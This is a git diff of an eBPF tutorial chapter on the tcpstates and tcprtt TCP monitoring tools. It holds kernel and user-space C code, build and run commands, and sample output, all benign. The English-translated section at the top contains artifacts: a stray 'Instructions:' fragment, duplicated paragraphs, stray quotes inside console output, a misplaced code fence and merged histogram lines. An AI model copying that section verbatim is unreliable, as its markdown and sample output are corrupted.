-以上就是`tcpstates`程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。 +The above is the main implementation logic of the user-space part of the `tcpstates` program. Through this chapter, you should have gained a deeper understanding of how to handle kernel events in user space. In the next chapter, we will introduce more knowledge about using eBPF for network monitoring. -### tcprtt +### tcprtt kernel eBPF code -在本章节中,我们将分析`tcprtt` eBPF 程序的内核态代码。`tcprtt`是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。 +In this section, we will analyze the kernel BPF code of the `tcprtt` eBPF program. `tcprtt` is a program used to measure TCP Round Trip Time (RTT) and stores the RTT information in a histogram. ```c - /// @sample {"interval": 1000, "type" : "log2_hist"} struct { __uint(type, BPF_MAP_TYPE_HASH); @@ -246,44 +245,50 @@ int BPF_PROG(tcp_rcv, struct sock *sk) } ``` -首先,我们定义了一个 hash 类型的 eBPF map,名为`hists`,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个`hist`结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。 +The code above declares a map called `hists`, which is a hash map used to store the histogram data. The `hists` map has a maximum number of entries defined as `MAX_ENTRIES`. + +The function `BPF_PROG(tcp_rcv, struct sock *sk)` is the entry point of the eBPF program for handling the `tcp_rcv_established` event. Within this function, the program retrieves various information from the network socket and checks if filtering conditions are met. Then, it performs operations on the histogram data structure. Finally, the program calculates the slot for the RTT value and updates the histogram accordingly. + +This is the main code logic of the `tcprtt` eBPF program in kernel mode. The eBPF program measures the RTT of TCP connections and maintains a histogram to collect and analyze the RTT data.Instructions: + +First, we define a hash type eBPF map called `hists`, which is used to store statistics information about RTT. In this map, the key is a 64-bit integer, and the value is a `hist` structure that contains an array to store the count of different RTT intervals. -接着,我们定义了一个 eBPF 程序,名为`tcp_rcv`,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key(源 IP 或者目标 IP 或者 0),然后在`hists` map 中查找或者初始化对应的 histogram。 +Next, we define an eBPF program called `tcp_rcv` which will be called every time a TCP packet is received in the kernel. In this program, we first filter TCP connections based on filtering conditions (source/destination IP address and port). If the conditions are met, we select the corresponding key (source IP, destination IP, or 0) based on the set parameters, and then look up or initialize the corresponding histogram in the `hists` map. -接下来,我们读取 TCP 连接的`srtt_us`字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。 +Then, we read the `srtt_us` field of the TCP connection, which represents the smoothed RTT value in microseconds. We convert this RTT value to a logarithmic form and store it as a slot in the histogram. -如果设置了`show_ext`参数,我们还会将 RTT 值和计数器累加到 histogram 的`latency`和`cnt`字段中。 +If the `show_ext` parameter is set, we also increment the RTT value and the counter in the `latency` and `cnt` fields of the histogram. -通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。 +With the above processing, we can analyze and track the RTT of each TCP connection to better understand the network performance. -总结起来,`tcprtt` eBPF 程序的主要逻辑包括以下几个步骤: +In summary, the main logic of the `tcprtt` eBPF program includes the following steps: -1. 根据过滤条件对 TCP 连接进行过滤。 -2. 在`hists` map 中查找或者初始化对应的 histogram。 -3. 读取 TCP 连接的`srtt_us`字段,并将其转换为对数形式,存储到 histogram 中。 -4. 如果设置了`show_ext`参数,将 RTT 值和计数器累加到 histogram 的`latency`和`cnt`字段中。 +1. Filter TCP connections based on filtering conditions. +2. Look up or initialize the corresponding histogram in the `hists` map. +3. Read the `srtt_us` field of the TCP connection, convert it to a logarithmic form, and store it in the histogram. +4. If the `show_ext` parameter is set, increment the RTT value and the counter in the `latency` and `cnt` fields of the histogram. -tcprtt 挂载到了内核态的 tcp_rcv_established 函数上: +`tcprtt` is attached to the kernel's `tcp_rcv_established` function: ```c void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); ``` -这个函数是在内核中处理TCP接收数据的主要函数,主要在TCP连接处于`ESTABLISHED`状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用: +This function is the main function in the kernel for processing received TCP data and is called when a TCP connection is in the `ESTABLISHED` state. The processing logic of this function includes a fast path and a slow path. The fast path is disabled in the following cases: -- 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 -- 收到了乱序的数据包。 -- 期待接收紧急数据。 -- 没有剩余的缓冲区空间。 -- 接收到了意外的TCP标志/窗口值/头部长度(通过检查TCP头部与预设标志进行检测)。 -- 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。 -- 接收到了意外的TCP选项。 +- We have advertised a zero window - zero window probing can only be handled correctly in the slow path. +- Out-of-order data packets received. +- Expecting to receive urgent data. +- No remaining buffer space. +- Received unexpected TCP flags/window values/header lengths (detected by checking TCP header against the expected flags). +- Data is being transmitted in both directions. The fast path only supports pure senders or pure receivers (meaning the sequence number or acknowledgement value must remain unchanged). +- Received unexpected TCP options. -当这些条件不满足时,它会进入一个标准的接收处理过程,这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证,剩下的情况则需要内联检查。当一切都正常时,快速处理过程会在`tcp_data_queue`函数中被开启。 +When these conditions are not met, it enters a standard receive processing, which follows RFC 793 to handle all cases. The first three cases can be ensured by setting the correct expected flags, while the remaining cases require inline checks. When everything is normal, the fast processing path is invoked in the `tcp_data_queue` function. -## 编译运行 +## Compilation and Execution -对于 tcpstates,可以通过以下命令编译和运行 libbpf 应用: +For `tcpstates`, you can compile and run the libbpf application with the following command: ```console $ make @@ -295,8 +300,8 @@ $ make $ sudo ./tcpstates SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS ffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000 -ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794 -ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454 +ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794". +"ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454 ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793 ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086 ffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193 @@ -305,7 +310,7 @@ ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 ``` -对于 tcprtt,我们可以使用 eunomia-bpf 编译运行这个例子: +For tcprtt, we can use eunomia-bpf to compile and run this example: Compile: @@ -313,7 +318,7 @@ Compile: docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest ``` -或者 +Or ```console $ ecc tcprtt.bpf.c tcprtt.h @@ -322,13 +327,12 @@ Generating export types... Packing ebpf object and config into package.json... ``` -运行: +Run: ```console $ sudo ecli run package.json -h A simple eBPF program - Usage: package.json [OPTIONS] Options: @@ -344,8 +348,8 @@ Options: -h, --help Print help -V, --version Print version -Built with eunomia-bpf framework. -See https://github.com/eunomia-bpf/eunomia-bpf for more information. +Built with eunomia-bpf framework.". +```See https://github.com/eunomia-bpf/eunomia-bpf for more information. $ sudo ecli run package.json key = 0 @@ -380,26 +384,27 @@ cnt = 0 32 -> 63 : 0 | | 64 -> 127 : 0 | | 128 -> 255 : 0 | | - 256 -> 511 : 0 | | - 512 -> 1023 : 11 |*************************** | + 256 -> 511 : 0 | |512 -> 1023 : 11 |*************************** | 1024 -> 2047 : 1 |** | 2048 -> 4095 : 0 | | 4096 -> 8191 : 16 |****************************************| 8192 -> 16383 : 4 |********** | ``` -完整源代码: +Complete source code: - -参考资料: +References: - [tcpstates](https://github.com/iovisor/bcc/blob/master/tools/tcpstates_example.txt) - [tcprtt](https://github.com/iovisor/bcc/blob/master/tools/tcprtt.py) - [libbpf-tools/tcpstates]() -## 总结 +## Summary + +In this eBPF introductory tutorial, we learned how to use the tcpstates and tcprtt eBPF example programs to monitor and analyze the connection states and round-trip time of TCP. We understood the working principles and implementation methods of tcpstates and tcprtt, including how to store data using BPF maps, how to retrieve and process TCP connection information in eBPF programs, and how to parse and display the data collected by eBPF programs in user-space applications. -通过本篇 eBPF 入门实践教程,我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式,包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 +If you would like to learn more about eBPF knowledge and practices, you can visit our tutorial code repository at or website for more examples and complete tutorials. The upcoming tutorials will further explore advanced features of eBPF, and we will continue to share more content about eBPF development practices. -如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。 +> The original link of this article: diff --git a/src/14-tcpstates/README.zh.md b/src/14-tcpstates/README.zh.md new file mode 100644 index 00000000..6bf2c8d2 --- /dev/null +++ b/src/14-tcpstates/README.zh.md @@ -0,0 +1,405 @@ +# eBPF入门实践教程十四:记录 TCP 连接状态与 TCP RTT + +eBPF (扩展的伯克利数据包过滤器) 是一项强大的网络和性能分析工具,被广泛应用在 Linux 内核上。eBPF 使得开发者能够动态地加载、更新和运行用户定义的代码,而无需重启内核或更改内核源代码。 + +在我们的 eBPF 入门实践教程系列的这一篇,我们将介绍两个示例程序:`tcpstates` 和 `tcprtt`。`tcpstates` 用于记录 TCP 连接的状态变化,而 `tcprtt` 则用于记录 TCP 的往返时间 (RTT, Round-Trip Time)。 + +## `tcprtt` 与 `tcpstates` + +网络质量在当前的互联网环境中至关重要。影响网络质量的因素有许多,包括硬件、网络环境、软件编程的质量等。为了帮助用户更好地定位网络问题,我们引入了 `tcprtt` 这个工具。`tcprtt` 可以监控 TCP 链接的往返时间,从而评估网络质量,帮助用户找出可能的问题所在。 + +当 TCP 链接建立时,`tcprtt` 会自动根据当前系统的状况,选择合适的执行函数。在执行函数中,`tcprtt` 会收集 TCP 链接的各项基本信息,如源地址、目标地址、源端口、目标端口、耗时等,并将这些信息更新到直方图型的 BPF map 中。运行结束后,`tcprtt` 会通过用户态代码,将收集的信息以图形化的方式展示给用户。 + +`tcpstates` 则是一个专门用来追踪和打印 TCP 连接状态变化的工具。它可以显示 TCP 连接在每个状态中的停留时长,单位为毫秒。例如,对于一个单独的 TCP 会话,`tcpstates` 可以打印出类似以下的输出: + +```sh +SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS +ffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000 +ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373 +ffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042 +ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536 +ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 +``` + +以上输出中,最多的时间被花在了 ESTABLISHED 状态,也就是连接已经建立并在传输数据的状态,这个状态到 FIN_WAIT1 状态(开始关闭连接的状态)的转变过程中耗费了 176.042 毫秒。 + +在我们接下来的教程中,我们会更深入地探讨这两个工具,解释它们的实现原理,希望这些内容对你在使用 eBPF 进行网络和性能分析方面的工作有所帮助。 + +## tcpstate + +由于篇幅所限,这里我们主要讨论和分析对应的 eBPF 内核态代码实现。以下是 tcpstate 的 eBPF 代码: + +```c +const volatile bool filter_by_sport = false; +const volatile bool filter_by_dport = false; +const volatile short target_family = 0; + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, __u16); + __type(value, __u16); +} sports SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, __u16); + __type(value, __u16); +} dports SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, struct sock *); + __type(value, __u64); +} timestamps SEC(".maps"); + +struct { + __uint(type, BPF_MAP_TYPE_PERF_EVENT_ARRAY); + __uint(key_size, sizeof(__u32)); + __uint(value_size, sizeof(__u32)); +} events SEC(".maps"); + +SEC("tracepoint/sock/inet_sock_set_state") +int handle_set_state(struct trace_event_raw_inet_sock_set_state *ctx) +{ + struct sock *sk = (struct sock *)ctx->skaddr; + __u16 family = ctx->family; + __u16 sport = ctx->sport; + __u16 dport = ctx->dport; + __u64 *tsp, delta_us, ts; + struct event event = {}; + + if (ctx->protocol != IPPROTO_TCP) + return 0; + + if (target_family && target_family != family) + return 0; + + if (filter_by_sport && !bpf_map_lookup_elem(&sports, &sport)) + return 0; + + if (filter_by_dport && !bpf_map_lookup_elem(&dports, &dport)) + return 0; + + tsp = bpf_map_lookup_elem(×tamps, &sk); + ts = bpf_ktime_get_ns(); + if (!tsp) + delta_us = 0; + else + delta_us = (ts - *tsp) / 1000; + + event.skaddr = (__u64)sk; + event.ts_us = ts / 1000; + event.delta_us = delta_us; + event.pid = bpf_get_current_pid_tgid() >> 32; + event.oldstate = ctx->oldstate; + event.newstate = ctx->newstate; + event.family = family; + event.sport = sport; + event.dport = dport; + bpf_get_current_comm(&event.task, sizeof(event.task)); + + if (family == AF_INET) { + bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_rcv_saddr); + bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_daddr); + } else { /* family == AF_INET6 */ + bpf_probe_read_kernel(&event.saddr, sizeof(event.saddr), &sk->__sk_common.skc_v6_rcv_saddr.in6_u.u6_addr32); + bpf_probe_read_kernel(&event.daddr, sizeof(event.daddr), &sk->__sk_common.skc_v6_daddr.in6_u.u6_addr32); + } + + bpf_perf_event_output(ctx, &events, BPF_F_CURRENT_CPU, &event, sizeof(event)); + + if (ctx->newstate == TCP_CLOSE) + bpf_map_delete_elem(×tamps, &sk); + else + bpf_map_update_elem(×tamps, &sk, &ts, BPF_ANY); + + return 0; +} +``` + +`tcpstates`主要依赖于 eBPF 的 Tracepoints 来捕获 TCP 连接的状态变化,从而跟踪 TCP 连接在每个状态下的停留时间。 + +### 定义 BPF Maps + +在`tcpstates`程序中,首先定义了几个 BPF Maps,它们是 eBPF 程序和用户态程序之间交互的主要方式。`sports`和`dports`分别用于存储源端口和目标端口,用于过滤 TCP 连接;`timestamps`用于存储每个 TCP 连接的时间戳,以计算每个状态的停留时间;`events`则是一个 perf_event 类型的 map,用于将事件数据发送到用户态。 + +### 追踪 TCP 连接状态变化 + +程序定义了一个名为`handle_set_state`的函数,该函数是一个 tracepoint 类型的程序,它将被挂载到`sock/inet_sock_set_state`这个内核 tracepoint 上。每当 TCP 连接状态发生变化时,这个 tracepoint 就会被触发,然后执行`handle_set_state`函数。 + +在`handle_set_state`函数中,首先通过一系列条件判断确定是否需要处理当前的 TCP 连接,然后从`timestamps`map 中获取当前连接的上一个时间戳,然后计算出停留在当前状态的时间。接着,程序将收集到的数据放入一个 event 结构体中,并通过`bpf_perf_event_output`函数将该 event 发送到用户态。 + +### 更新时间戳 + +最后,根据 TCP 连接的新状态,程序将进行不同的操作:如果新状态为 TCP_CLOSE,表示连接已关闭,程序将从`timestamps`map 中删除该连接的时间戳;否则,程序将更新该连接的时间戳。 + +用户态的部分主要是通过 libbpf 来加载 eBPF 程序,然后通过 perf_event 来接收内核中的事件数据: + +```c +static void handle_event(void* ctx, int cpu, void* data, __u32 data_sz) { + char ts[32], saddr[26], daddr[26]; + struct event* e = data; + struct tm* tm; + int family; + time_t t; + + if (emit_timestamp) { + time(&t); + tm = localtime(&t); + strftime(ts, sizeof(ts), "%H:%M:%S", tm); + printf("%8s ", ts); + } + + inet_ntop(e->family, &e->saddr, saddr, sizeof(saddr)); + inet_ntop(e->family, &e->daddr, daddr, sizeof(daddr)); + if (wide_output) { + family = e->family == AF_INET ? 4 : 6; + printf( + "%-16llx %-7d %-16s %-2d %-26s %-5d %-26s %-5d %-11s -> %-11s " + "%.3f\n", + e->skaddr, e->pid, e->task, family, saddr, e->sport, daddr, + e->dport, tcp_states[e->oldstate], tcp_states[e->newstate], + (double)e->delta_us / 1000); + } else { + printf( + "%-16llx %-7d %-10.10s %-15s %-5d %-15s %-5d %-11s -> %-11s %.3f\n", + e->skaddr, e->pid, e->task, saddr, e->sport, daddr, e->dport, + tcp_states[e->oldstate], tcp_states[e->newstate], + (double)e->delta_us / 1000); + } +} +``` + +`handle_event`就是这样一个回调函数,它会被 perf_event 调用,每当内核有新的事件到达时,它就会处理这些事件。 + +在`handle_event`函数中,我们首先通过`inet_ntop`函数将二进制的 IP 地址转换成人类可读的格式,然后根据是否需要输出宽格式,分别打印不同的信息。这些信息包括了事件的时间戳、源 IP 地址、源端口、目标 IP 地址、目标端口、旧状态、新状态以及在旧状态停留的时间。 + +这样,用户就可以清晰地看到 TCP 连接状态的变化,以及每个状态的停留时间,从而帮助他们诊断网络问题。 + +总结起来,用户态部分的处理主要涉及到了以下几个步骤: + +1. 使用 libbpf 加载并运行 eBPF 程序。 +2. 设置回调函数来接收内核发送的事件。 +3. 处理接收到的事件,将其转换成人类可读的格式并打印。 + +以上就是`tcpstates`程序用户态部分的主要实现逻辑。通过这一章的学习,你应该已经对如何在用户态处理内核事件有了更深入的理解。在下一章中,我们将介绍更多关于如何使用 eBPF 进行网络监控的知识。 + +### tcprtt + +在本章节中,我们将分析`tcprtt` eBPF 程序的内核态代码。`tcprtt`是一个用于测量 TCP 往返时间(Round Trip Time, RTT)的程序,它将 RTT 的信息统计到一个 histogram 中。 + +```c + +/// @sample {"interval": 1000, "type" : "log2_hist"} +struct { + __uint(type, BPF_MAP_TYPE_HASH); + __uint(max_entries, MAX_ENTRIES); + __type(key, u64); + __type(value, struct hist); +} hists SEC(".maps"); + +static struct hist zero; + +SEC("fentry/tcp_rcv_established") +int BPF_PROG(tcp_rcv, struct sock *sk) +{ + const struct inet_sock *inet = (struct inet_sock *)(sk); + struct tcp_sock *ts; + struct hist *histp; + u64 key, slot; + u32 srtt; + + if (targ_sport && targ_sport != inet->inet_sport) + return 0; + if (targ_dport && targ_dport != sk->__sk_common.skc_dport) + return 0; + if (targ_saddr && targ_saddr != inet->inet_saddr) + return 0; + if (targ_daddr && targ_daddr != sk->__sk_common.skc_daddr) + return 0; + + if (targ_laddr_hist) + key = inet->inet_saddr; + else if (targ_raddr_hist) + key = inet->sk.__sk_common.skc_daddr; + else + key = 0; + histp = bpf_map_lookup_or_try_init(&hists, &key, &zero); + if (!histp) + return 0; + ts = (struct tcp_sock *)(sk); + srtt = BPF_CORE_READ(ts, srtt_us) >> 3; + if (targ_ms) + srtt /= 1000U; + slot = log2l(srtt); + if (slot >= MAX_SLOTS) + slot = MAX_SLOTS - 1; + __sync_fetch_and_add(&histp->slots[slot], 1); + if (targ_show_ext) { + __sync_fetch_and_add(&histp->latency, srtt); + __sync_fetch_and_add(&histp->cnt, 1); + } + return 0; +} +``` + +首先,我们定义了一个 hash 类型的 eBPF map,名为`hists`,它用来存储 RTT 的统计信息。在这个 map 中,键是 64 位整数,值是一个`hist`结构,这个结构包含了一个数组,用来存储不同 RTT 区间的数量。 + +接着,我们定义了一个 eBPF 程序,名为`tcp_rcv`,这个程序会在每次内核中处理 TCP 收包的时候被调用。在这个程序中,我们首先根据过滤条件(源/目标 IP 地址和端口)对 TCP 连接进行过滤。如果满足条件,我们会根据设置的参数选择相应的 key(源 IP 或者目标 IP 或者 0),然后在`hists` map 中查找或者初始化对应的 histogram。 + +接下来,我们读取 TCP 连接的`srtt_us`字段,这个字段表示了平滑的 RTT 值,单位是微秒。然后我们将这个 RTT 值转换为对数形式,并将其作为 slot 存储到 histogram 中。 + +如果设置了`show_ext`参数,我们还会将 RTT 值和计数器累加到 histogram 的`latency`和`cnt`字段中。 + +通过以上的处理,我们可以对每个 TCP 连接的 RTT 进行统计和分析,从而更好地理解网络的性能状况。 + +总结起来,`tcprtt` eBPF 程序的主要逻辑包括以下几个步骤: + +1. 根据过滤条件对 TCP 连接进行过滤。 +2. 在`hists` map 中查找或者初始化对应的 histogram。 +3. 读取 TCP 连接的`srtt_us`字段,并将其转换为对数形式,存储到 histogram 中。 +4. 如果设置了`show_ext`参数,将 RTT 值和计数器累加到 histogram 的`latency`和`cnt`字段中。 + +tcprtt 挂载到了内核态的 tcp_rcv_established 函数上: + +```c +void tcp_rcv_established(struct sock *sk, struct sk_buff *skb); +``` + +这个函数是在内核中处理TCP接收数据的主要函数,主要在TCP连接处于`ESTABLISHED`状态时被调用。这个函数的处理逻辑包括一个快速路径和一个慢速路径。快速路径在以下几种情况下会被禁用: + +- 我们宣布了一个零窗口 - 零窗口探测只能在慢速路径中正确处理。 +- 收到了乱序的数据包。 +- 期待接收紧急数据。 +- 没有剩余的缓冲区空间。 +- 接收到了意外的TCP标志/窗口值/头部长度(通过检查TCP头部与预设标志进行检测)。 +- 数据在两个方向上都在传输。快速路径只支持纯发送者或纯接收者(这意味着序列号或确认值必须保持不变)。 +- 接收到了意外的TCP选项。 + +当这些条件不满足时,它会进入一个标准的接收处理过程,这个过程遵循RFC793来处理所有情况。前三种情况可以通过正确的预设标志设置来保证,剩下的情况则需要内联检查。当一切都正常时,快速处理过程会在`tcp_data_queue`函数中被开启。 + +## 编译运行 + +对于 tcpstates,可以通过以下命令编译和运行 libbpf 应用: + +```console +$ make +... + BPF .output/tcpstates.bpf.o + GEN-SKEL .output/tcpstates.skel.h + CC .output/tcpstates.o + BINARY tcpstates +$ sudo ./tcpstates +SKADDR PID COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS +ffff9bf61bb62bc0 164978 node 192.168.88.15 0 52.178.17.2 443 CLOSE -> SYN_SENT 0.000 +ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 SYN_SENT -> ESTABLISHED 225.794 +ffff9bf61bb62bc0 0 swapper/0 192.168.88.15 41596 52.178.17.2 443 ESTABLISHED -> CLOSE_WAIT 901.454 +ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 CLOSE_WAIT -> LAST_ACK 0.793 +ffff9bf61bb62bc0 164978 node 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> LAST_ACK 0.086 +ffff9bf61bb62bc0 228759 kworker/u6 192.168.88.15 41596 52.178.17.2 443 LAST_ACK -> CLOSE 0.193 +ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 CLOSE -> LISTEN 0.000 +ffff9bf6d8ee88c0 229832 redis-serv 0.0.0.0 6379 0.0.0.0 0 LISTEN -> CLOSE 1.763 +ffff9bf7109d6900 88750 node 127.0.0.1 39755 127.0.0.1 50966 ESTABLISHED -> FIN_WAIT1 0.000 +``` + +对于 tcprtt,我们可以使用 eunomia-bpf 编译运行这个例子: + +Compile: + +```shell +docker run -it -v `pwd`/:/src/ ghcr.io/eunomia-bpf/ecc-`uname -m`:latest +``` + +或者 + +```console +$ ecc tcprtt.bpf.c tcprtt.h +Compiling bpf object... +Generating export types... +Packing ebpf object and config into package.json... +``` + +运行: + +```console +$ sudo ecli run package.json -h +A simple eBPF program + + +Usage: package.json [OPTIONS] + +Options: + --verbose Whether to show libbpf debug information + --targ_laddr_hist Set value of `bool` variable targ_laddr_hist + --targ_raddr_hist Set value of `bool` variable targ_raddr_hist + --targ_show_ext Set value of `bool` variable targ_show_ext + --targ_sport Set value of `__u16` variable targ_sport + --targ_dport Set value of `__u16` variable targ_dport + --targ_saddr Set value of `__u32` variable targ_saddr + --targ_daddr Set value of `__u32` variable targ_daddr + --targ_ms Set value of `bool` variable targ_ms + -h, --help Print help + -V, --version Print version + +Built with eunomia-bpf framework. +See https://github.com/eunomia-bpf/eunomia-bpf for more information. + +$ sudo ecli run package.json +key = 0 +latency = 0 +cnt = 0 + + (unit) : count distribution + 0 -> 1 : 0 | | + 2 -> 3 : 0 | | + 4 -> 7 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 0 | | + 32 -> 63 : 0 | | + 64 -> 127 : 0 | | + 128 -> 255 : 0 | | + 256 -> 511 : 0 | | + 512 -> 1023 : 4 |******************** | + 1024 -> 2047 : 1 |***** | + 2048 -> 4095 : 0 | | + 4096 -> 8191 : 8 |****************************************| + +key = 0 +latency = 0 +cnt = 0 + + (unit) : count distribution + 0 -> 1 : 0 | | + 2 -> 3 : 0 | | + 4 -> 7 : 0 | | + 8 -> 15 : 0 | | + 16 -> 31 : 0 | | + 32 -> 63 : 0 | | + 64 -> 127 : 0 | | + 128 -> 255 : 0 | | + 256 -> 511 : 0 | | + 512 -> 1023 : 11 |*************************** | + 1024 -> 2047 : 1 |** | + 2048 -> 4095 : 0 | | + 4096 -> 8191 : 16 |****************************************| + 8192 -> 16383 : 4 |********** | +``` + +完整源代码: + +- + +参考资料: + +- [tcpstates](https://github.com/iovisor/bcc/blob/master/tools/tcpstates_example.txt) +- [tcprtt](https://github.com/iovisor/bcc/blob/master/tools/tcprtt.py) +- [libbpf-tools/tcpstates]() + +## 总结 + +通过本篇 eBPF 入门实践教程,我们学习了如何使用tcpstates和tcprtt这两个 eBPF 示例程序,监控和分析 TCP 的连接状态和往返时间。我们了解了tcpstates和tcprtt的工作原理和实现方式,包括如何使用 BPF map 存储数据,如何在 eBPF 程序中获取和处理 TCP 连接信息,以及如何在用户态应用程序中解析和显示 eBPF 程序收集的数据。 + +如果您希望学习更多关于 eBPF 的知识和实践,可以访问我们的教程代码仓库 或网站 以获取更多示例和完整的教程。接下来的教程将进一步探讨 eBPF 的高级特性,我们会继续分享更多有关 eBPF 开发实践的内容。 diff --git a/src/14-tcpstates/README_en.md b/src/14-tcpstates/README_en.md deleted file mode 100644 index 06a2ba86..00000000 --- a/src/14-tcpstates/README_en.md +++ /dev/null @@ -1,409 +0,0 @@ -# eBPF Tutorial by Example 14: Recording TCP Connection Status and TCP RTT - -eBPF (Extended Berkeley Packet Filter) is a powerful network and performance analysis tool widely used in the Linux kernel. eBPF allows developers to dynamically load, update, and run user-defined code without restarting the kernel or changing the kernel source code. - -In this article of our eBPF Tutorial by Example series, we will introduce two sample programs: `tcpstates` and `tcprtt`. `tcpstates` is used to record the state changes of TCP connections, while `tcprtt` is used to record the Round-Trip Time (RTT) of TCP. - -## `tcprtt` and `tcpstates` - -Network quality is crucial in the current Internet environment. There are many factors that affect network quality, including hardware, network environment, and the quality of software programming. To help users better locate network issues, we introduce the tool `tcprtt`. `tcprtt` can monitor the Round-Trip Time of TCP connections, evaluate network quality, and help users identify potential problems. - -When a TCP connection is established, `tcprtt` automatically selects the appropriate execution function based on the current system conditions. In the execution function, `tcprtt` collects various basic information of the TCP connection, such as source address, destination address, source port, destination port, and time elapsed, and updates this information to a histogram-like BPF map. After the execution is completed, `tcprtt` presents the collected information graphically to users through user-mode code. - -`tcpstates` is a tool specifically designed to track and print changes in TCP connection status. It can display the duration of TCP connections in each state, measured in milliseconds. For example, for a single TCP session, `tcpstates` can print output similar to the following: - -```sh -SKADDR C-PID C-COMM LADDR LPORT RADDR RPORT OLDSTATE -> NEWSTATE MS -ffff9fd7e8192000 22384 curl 100.66.100.185 0 52.33.159.26 80 CLOSE -> SYN_SENT 0.000 -ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 SYN_SENT -> ESTABLISHED 1.373 -ffff9fd7e8192000 22384 curl 100.66.100.185 63446 52.33.159.26 80 ESTABLISHED -> FIN_WAIT1 176.042 -ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT1 -> FIN_WAIT2 0.536 -ffff9fd7e8192000 0 swapper/5 100.66.100.185 63446 52.33.159.26 80 FIN_WAIT2 -> CLOSE 0.006 -``` - -In the above output, the most time is spent in the ESTABLISHED state, which indicates that the connection has been established and data transmission is in progress. The transition from this state to the FIN_WAIT1 state (the beginning of connection closure) took 176.042 milliseconds. - -In our upcoming tutorials, we will delve deeper into these two tools, explaining their implementation principles, and hopefully, these contents will help you in your work with eBPF for network and performance analysis. - -## tcpstate eBPF code - -Due to space constraints, here we mainly discuss and analyze the corresponding eBPF kernel-mode code implementation. The following is the eBPF code for tcpstate: - -```c -const volatile bool filter_by_sport = false; -const volatile bool filter_by_dport = false; -const volatile short target_family = 0; - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, MAX_ENTRIES); - __type(key, __u16); - __type(value, __u16); -} sports SEC(".maps"); - -struct { - __uint(type, BPF_MAP_TYPE_HASH); - __uint(max_entries, 